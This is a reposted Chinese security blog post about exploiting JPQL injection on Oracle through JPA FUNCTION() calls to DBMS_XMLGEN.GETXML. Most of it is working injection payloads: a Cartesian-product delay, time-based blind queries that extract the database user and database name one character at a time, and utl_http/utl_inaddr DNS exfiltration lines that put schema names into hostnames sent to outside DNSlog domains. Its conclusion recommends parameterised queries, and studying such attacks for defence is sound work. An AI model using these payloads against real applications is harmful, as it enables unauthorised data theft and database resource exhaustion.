第175篇:JPQL注入在Oracle数据库中的利用研究(突破ORM限制)

admin 2026-10-07 04:40:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文研究JPQL注入在Oracle数据库中的利用方法,作者通过JPA2.1的FUNCTION()机制调用DBMS_XMLGEN.GETXML等Oracle内置函数,绕过WAF关键字拦截,实现原生SQL注入语句执行。文章详细记录了构造JPQL语句的踩坑过程,最终通过延时注入结合折半法成功猜解数据库用户名和当前数据库名称,为突破ORM限制的注入利用提供了可操作的技术方案。 综合评分: 85 文章分类: 漏洞分析,代码审计,渗透测试,红队,内网渗透


第175篇:JPQL 注入在 Oracle 数据库中的利用研究(突破ORM限制)

原创

abc123info abc123info

希潭实验室

2026年10月5日 21:20 山东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Part1 前言

大家好,我是ABC_123。很久以前遇到过一个HQL注入漏洞,为了验证漏洞费了很大精力;今天又遇到了一个更头疼的JPQL注入,数据库是Oracle,应用程序本身还带有一层WAF一样的关键字拦截,非常难解决。最终通过 JPA 2.1 提供的 FUNCTION() 机制调用 Oracle 内置函数,并结合 DBMS_XMLGEN.GETXML 等数据库能力,实现了原生 SQL 注入语句的执行,今天给大家分享一下过程。

Part2 技术研究过程

首先搭建了测试环境:Springboot + Oracle 11g 数据库,前端页面展示的是一个订单管理平台。使用用户名密码登录之后,会有一个创建或编辑查询文本框,点击执行SQL语句按钮,会执行相应的查询语句。

第一眼看过去,喜出望外,后台可以直接执行SQL语句,又是Oracle数据库,配置java语句,拿权限岂不是轻而易举。结果尝试了各种语句发现,怎么构造怎么出错。谷歌一查报错信息,发现居然是JPQL语法,第一次遇到,于是开始了一下午的针对它的绕过。

  • ## JPQL查询机制基本概念

JPQL(Java Persistence Query Language) 是 JPA(Java Persistence API)定义的一种面向对象查询语言,用于查询实体对象(Entity),而不是直接查询数据库表。SQL 是查数据库里的表和字段,而JPQL 是查 Java 里的对象和属性。常见实现有Hibernate、EclipseLink、OpenJPA等。JPQL可以实现一套 Java 查询代码适配不同数据库,这样就不用每个数据库都得用各自的sql语法来实现业务功能。如下图所示,直接输入sql语句select 1 from dual是不行的。

JPQL与SQL有什么区别呢?看下面的例子,假设有一个数据库表:

user表id       username       age----------------------------1        admin          202        tom            30

该数据库表对应着java实体如下:

@Entitypublic class User {    @Id    private Long id;    private String username;    private Integer age;}

传统的执行SQL语句如下:

SELECT * FROM user WHERE username='admin'; (表名 user 字段 username)

实现同等功能的JPQL语句需要是如下格式(这里的User表示实体类,u表示这个实体的别名):

SELECT u FROM User u WHERE u.username='admin' (实体类 User 属性 username)
  • ## 构造的JPQL语句踩坑失败全记录

这些是我整个测试过程中构造失败的JPQL语句,也可以说是踩坑记录,记录下来觉得很有意义。

  1.  构造布尔型盲注语句

我本地搭建的JPQL测试环境是可以执行的,但是生产环境执行报错。

select count(l) from Location l where l.locationId like '%' and l.availableCapacity = 2 and 1=1select count(l) from Location l where l.locationId like '%' and l.availableCapacity = 2 and 1=2
  1.  在正常业务order by后面构造

在正常JPQL语句的order by后面加测试语句,不行,直接报错。

select o.orderNo, o.status, o.amount, o.itemCount from SalesOrder o where o.status = com.swisslog.wm6.lab.oms.entity.OrderStatus.NEW order by (case when 1=2 then 1/(1-1) else 0 end) desc
  1.  DNSLog外带数据(utl_http.request)

无论怎么尝试,DNSLog可以出网,但是外带不了任何数据,以下是各种尝试过程。使用utl_http.request DNSLog能出网,但只要是尝试携带数据,无论怎么构造HPQL语句,怎么执行怎么错。

and&nbsp;utl_http.request('http://u'&nbsp;||&nbsp;userenv('CURRENT_SCHEMA')&nbsp;||&nbsp;'.<你的域名>')&nbsp;like&nbsp;'%'and&nbsp;utl_http.request('http://'&nbsp;||&nbsp;userenv('CURRENT_SCHEMA')&nbsp;||&nbsp;'.xxx.dnslog.net')&nbsp;like&nbsp;'%'
  1.  DNSLog外带数据(utl_inaddr)

改用 utl_inaddr,get_host_address() 直接做 DNS 解析,不需要 http://,天然避开冒号陷阱,但是实测这个语句还是不行。

select&nbsp;count(l)&nbsp;from&nbsp;Location lwhere&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2and&nbsp;utl_inaddr.get_host_address('test42.<你的域名>')&nbsp;like&nbsp;'%'

坚持 utl_http,用 chr(58) 拼冒号,还是不行。

and&nbsp;utl_http.request('http'&nbsp;|| chr(58) ||&nbsp;'//test42.<你的域名>') like&nbsp;'%'
  1.  DNSLog外带数据(使用FUNCTION )

这次借助了 JPA 2.1 标准 FUNCTION() 机制调用原生数据库函数,但未能成功。 EclipseLink 为兼容不同数据库特性,在 JPQL 中提供了 FUNCTION() 语法作为调用数据库原生函数的标准入口。该机制允许将函数名称以字符串形式传递,并在 JPQL 转换为 SQL 的过程中保留函数调用语义,由底层数据库执行对应函数逻辑。

select&nbsp;count(l)&nbsp;from&nbsp;Location lwhere&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2and&nbsp;FUNCTION('utl_inaddr.get_host_address',&nbsp;'test423.3w709.login.360aicloud.net')&nbsp;like&nbsp;'%'

#

  • ## 纯笛卡尔积造成延时的JPQL语句(成功)

经过好一顿折腾,构造出了一个可以造成延时效果的JPQL语句,其价值在于证明其存在SQL注入漏洞,表明我们值得进一步研究构造出危险的sql语句。这条语句JPQL查询目的是统计满足条件的 Location 数量,但里面嵌套了一个非常消耗资源的子查询,子查询引入多表笛卡尔积运算,导致数据库 CPU 消耗升高,容易造成数据库延迟。

select&nbsp;count(l)&nbsp;from&nbsp;Location lwhere&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2and&nbsp;(select&nbsp;count(a.locationId)&nbsp;from&nbsp;Location a, Location b, Location c&nbsp; &nbsp; &nbsp;where&nbsp;a.locationId&nbsp;<>&nbsp;b.locationId&nbsp;and&nbsp;b.locationId&nbsp;<>&nbsp;c.locationId)&nbsp;>&nbsp;0

  • ## DNSlog出网的JPQL语句(成功)

换了好几种写法,尝试了好几个Oracle的函数,最终这个JPQL语句可以执行。该 JPQL 查询在正常业务统计逻辑之外,引入了 utl_http.request() 外部网络请求函数,通过数据库服务器主动访问指定 URL,根据DNSlog是否有记录,判断JPQL语句能否执行以及服务器是否出网。

select&nbsp;count(l)&nbsp;from&nbsp;Location lwhere&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2and&nbsp;utl_http.request('http://10d.3w709.xxx.com')&nbsp;like&nbsp;'%'

#

  • ## 延时语句 + 折半法猜解获取数据(成功)

最后经过大量的尝试,几近放弃的时候,终于发现使用如下JPQL语句方式可以直接使用原生的Oracle 查询SQL语句进行查询。该 JPQL 查询在统计 Location 数据数量的基础上,通过 FUNCTION() 调用了 Oracle 数据库内置函数 DBMS_XMLGEN.GETXML,并执行了嵌套 SQL语句,其中 v$version 用于获取 Oracle 数据库版本信息。

select&nbsp;count(l)&nbsp;from&nbsp;Location lwhere&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2and&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp;&nbsp;'select banner from v$version connect by level <= 2000000')&nbsp;like&nbsp;'<%'

输入以下语句也可造成延时:

该 JPQL 查询在统计 Location 数据数量的基础上,构造了一个基于条件判断的时间延迟型数据库资源消耗查询。查询首先通过 substr()、ascii() 等函数获取 Location 表中 locationId 字段首字符的 ASCII 值,并使用 max() 判断该值是否大于 77(即字符 M 的 ASCII 值)。若条件成立,则执行 select 1 from dual connect by level <= 4000000,强制 Oracle 生成约 400 万级递归数据并转换为 XML,产生延时;若条件不成立,则仅生成 1 条数据。

select&nbsp;count(l)&nbsp;from&nbsp;Location lwhere&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2and&nbsp;(case&nbsp;when&nbsp;(select&nbsp;max(FUNCTION('ascii',&nbsp;FUNCTION('substr', l2.locationId,&nbsp;1,&nbsp;1)))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;from&nbsp;Location l2)&nbsp;>&nbsp;77&nbsp; &nbsp; &nbsp;then&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'select 1 from dual connect by level <= 4000000')&nbsp; &nbsp; &nbsp;else&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'select 1 from dual connect by level <= 1')&nbsp; &nbsp; &nbsp;end)&nbsp;like&nbsp;'<%'

以下这个语句也延迟:

当条件满足时,Oracle 将执行 connect by level <= 4000000,强制创建约 400 万条虚拟记录,并由 DBMS_XMLGEN.GETXML 转换为 XML 字符串返回。由于大量递归数据生成和 XML 序列化过程会消耗大量 CPU、内存及数据库处理时间,导致查询响应明显延迟;

&nbsp;&nbsp;select&nbsp;count(l)&nbsp;from&nbsp;Location l&nbsp;&nbsp;where&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2&nbsp;&nbsp;and&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp; &nbsp;&nbsp;'select 1 from dual connect by level <= (case when (select count(*) from dual) > 0 then 4000000 else 0 end)')&nbsp; &nbsp;&nbsp;like&nbsp;'<%'

实战可以出数据的JPQL语句如下,证明username的第一个字符的ascii值是83,是大写字母S。JPQL查询首先通过 (select username from all_users where rownum=1) 获取 Oracle 数据库中的第一个用户名称,再利用 substr() 截取用户名第 1 个字符,并通过 ascii() 转换为 ASCII 编码,与 83(对应字符 S)进行比较。

&nbsp;&nbsp;select&nbsp;count(l)&nbsp;from&nbsp;Location l&nbsp;&nbsp;where&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2&nbsp;&nbsp;and&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp; &nbsp;&nbsp;'select 1 from dual connect by level <= (case when ascii(substr((select username from all_users where rownum=1),1,1)) =83 then 4000000 else 0 end)')&nbsp; &nbsp;&nbsp;like&nbsp;'<%'

以下JPQL语句表明第2个字符是Y,最终得到结论第一个用户名是SYS。

&nbsp;&nbsp;select&nbsp;count(l)&nbsp;from&nbsp;Location l&nbsp;&nbsp;where&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2&nbsp;&nbsp;and&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp; &nbsp;&nbsp;'select 1 from dual connect by level <= (case when ascii(substr((select username from all_users where rownum=1),2,1)) = 89 then 4000000 else 0 end)')&nbsp; &nbsp;&nbsp;like&nbsp;'<%'

读取当前数据库的JPQL语句如下。查询首先通过 sys_context(‘userenv’,’db_name’) 获取当前 Oracle 数据库实例名称,再利用 substr() 截取数据库名称第 1 个字符,并通过 ascii() 转换为 ASCII 编码,与 84(对应字符 T)进行比较。

&nbsp;&nbsp;select&nbsp;count(l)&nbsp;from&nbsp;Location l&nbsp;&nbsp;where&nbsp;l.locationId&nbsp;like&nbsp;'%'&nbsp;and&nbsp;l.availableCapacity&nbsp;=&nbsp;2&nbsp;&nbsp;and&nbsp;FUNCTION('dbms_xmlgen.getxml',&nbsp; &nbsp;&nbsp;'select 1 from dual connect by level <= (case when ascii(substr((select sys_context(''userenv'',''db_name'') from dual),1,1)) = 84 then 4000000 else 0 end)')&nbsp; &nbsp;&nbsp;like&nbsp;'<%'

Part3 总结

1.  JPQL 注入并不等同于传统 SQL 注入,虽然通过 ORM 层抽象了数据库操作,将查询对象从数据表转换为实体对象,但如果业务代码直接拼接用户输入构造 JPQL 语句,攻击者仍然可以拼接恶意SQL语句进行利用。

2.  Oracle 下 JPQL 注入需要结合 JPA 机制和数据库特性绕过。最终通过 JPA 提供的 FUNCTION() 机制调用 Oracle 内置函数,实现了原生 SQL 执行,说明 ORM 层并不能天然阻断数据库函数滥用风险。

3.  防御 JPQL 注入应避免拼接输入,采用参数化查询,业务系统应避免将用户输入直接拼接到 JPQL/HQL 查询中。

4.  欢迎大家扫码加入知识星球希水涵@信安知识库,进入星球内部HVV交流群,一起学习进步(原有知识星球内容正在迁移)。

公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。

Contact me: 0day123abc#gmail.com

OR 2332887682#qq.com

(replace # with @)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:希潭实验室 abc123info abc123info《第175篇:JPQL 注入在 Oracle 数据库中的利用研究(突破ORM限制)》

评论:0   参与:  0